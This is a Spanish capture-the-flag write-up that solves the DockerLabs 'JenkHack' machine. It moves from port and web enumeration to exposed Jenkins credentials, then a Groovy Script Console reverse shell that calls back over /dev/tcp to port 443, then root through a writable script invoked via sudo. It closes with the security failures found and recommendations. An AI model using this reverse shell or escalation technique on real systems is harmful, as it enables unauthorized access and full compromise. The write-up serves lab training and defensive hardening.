JenkHack
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina JenkHack, desarrollada por d1se0 para la plataforma DockerLabs y clasificada con nivel de dificultad fácil.
El análisis se estructura de manera técnica y ordenada, abarcando:
- Identificación de vectores de ataque.
- Explotación basada en fallos de configuración y exposición de información sensible.
- Abuso de binarios delegados mediante
sudopara escalar privilegios hasta obtener acceso root. - Recomendaciones aplicables a entornos reales.
La metodología utilizada se divide en tres etapas principales:
- Reconocimiento: Enumeración de puertos y análisis del contenido web.
- Explotación: Acceso a Jenkins mediante credenciales expuestas.
- Escalada de privilegios: Manipulación de scripts ejecutados con privilegios elevados.
Todo el procedimiento se llevó a cabo en un entorno aislado dentro de DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | JenkHack |
| Autor | d1se0 |
| Dificultad | Fácil |
| Fecha | 05/09/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Descomprimir la máquina:
unzip JenkHack.zipIniciar el contenedor:
sudo bash auto_deploy.sh JenkHack.tarEl script entrega la IP interna que utilizaremos para todo el análisis:

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno de trabajo
Sección titulada «1.1 Organización del entorno de trabajo»mkdir -p JenkHack/{content,exploits,nmap,gobuster,scripts}cd JenkHackMantener el workspace organizado facilita la documentación y la repetición del proceso.
1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»nmap -p- --open -sS --min-rate 5000 -vvv -n 172.18.0.2 -oG allPortsextractPorts allPortsPuertos detectados:
- 80/tcp — HTTP
- 443/tcp — HTTPS
- 8080/tcp — HTTP

La presencia de múltiples servicios web aumenta las posibilidades de encontrar información sensible o configuraciones erróneas.
1.3 Enumeración Web (Puerto 80)
Sección titulada «1.3 Enumeración Web (Puerto 80)»gobuster dir \ -u http://172.18.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js \ -t 200
El escaneo no revela directorios críticos, pero sí confirmamos un index.php activo.

1.4 Enumeración Web (Puertos 443 y 8080)
Sección titulada «1.4 Enumeración Web (Puertos 443 y 8080)»En ambos puertos se observa un panel de autenticación perteneciente a Jenkins. No es posible acceder sin credenciales válidas en esta etapa.
Paso 2 — Explotación
Sección titulada «Paso 2 — Explotación»Dentro del código fuente del index.php en el puerto 80 se encuentran credenciales expuestas:

Estas credenciales permiten autenticarse como admin en el panel Jenkins expuesto en el puerto 8080. El inicio de sesión funciona correctamente y obtenemos acceso al dashboard:

Ejecución remota mediante Groovy Script Console
Sección titulada «Ejecución remota mediante Groovy Script Console»Al tener privilegios administrativos en Jenkins, es posible obtener una reverse shell ejecutando un script Groovy desde /script.
Script utilizado:
r = Runtime.getRuntime()p = r.exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/172.17.0.1/443; cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
Iniciar el listener:
nc -nlvp 443Tras ejecutar el script obtenemos una reverseshell como usuario jenkins:

Paso 3 — Escalada de Privilegios
Sección titulada «Paso 3 — Escalada de Privilegios»3.1 De jenkins → jenkhack
Sección titulada «3.1 De jenkins → jenkhack»En el directorio /var/www/jenkhack se encuentra un archivo note.txt:

La contraseña está codificada. Usando CyberChef se identifica que está en Base85:

Con la credencial decodificada es posible iniciar sesión como el usuario jenkhack.
3.2 De jenkhack → root (abuso de script delegado)
Sección titulada «3.2 De jenkhack → root (abuso de script delegado)»Salida de:
sudo -l
El usuario puede ejecutar /usr/local/bin/bash como root. Sin embargo, al ejecutarlo:

Esto indica que el binario está envolviendo un script. Revisando su contenido con strings, aparece una referencia a /opt/bash.sh:

Explotación
Sección titulada «Explotación»Dado que el usuario tiene permisos de escritura sobre /opt/bash.sh, la escalada consiste en:
-
Eliminar el script:
Ventana de terminal rm /opt/bash.sh -
Crear uno nuevo:
Ventana de terminal echo -e "#!/bin/bash\n/bin/bash" > /opt/bash.shchmod +x /opt/bash.sh -
Ejecutar el binario delegado:
Ventana de terminal sudo -u root /usr/local/bin/bash
Resultado:

Acceso root obtenido exitosamente.
Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Credenciales expuestas en código fuente accesible públicamente.
- Panel Jenkins accesible sin restricciones adicionales.
- Uso de Groovy Script Console habilitado para administradores.
- Delegación insegura de privilegios mediante
sudoa scripts editables por usuarios sin privilegios. - Ausencia de control de integridad en binarios wrapper.
Recomendaciones
Sección titulada «Recomendaciones»- Evitar almacenar credenciales en código fuente o archivos accesibles desde el navegador.
- Restringir el acceso a Jenkins mediante firewall, autenticación robusta y MFA.
- Deshabilitar la Script Console o limitarla estrictamente.
- Configurar
sudocon binarios o scripts protegidos, nunca editables por usuarios. - Mantener permisos estrictos en directorios del sistema.
- Implementar escaneos periódicos de configuración y exposición de secretos.